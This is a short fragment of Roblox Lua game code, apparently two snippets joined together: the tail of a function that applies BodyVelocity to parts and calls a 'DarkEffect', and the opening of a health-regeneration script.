BodyVelocity.maxForce = Vector3.new(100000, 100000, 100000)
BodyVelocity.Parent = v
v.Anchored = false
end
end
end
DarkEffect()
script:Destroy()
|
-- Gradually regenerates the Humanoid's Health over time. |
local REGEN_RATE = 1/200 -- Regenerate this fraction of MaxHealth per second.
local REGEN_STEP = 1 -- Wait this long between each regeneration step.
|
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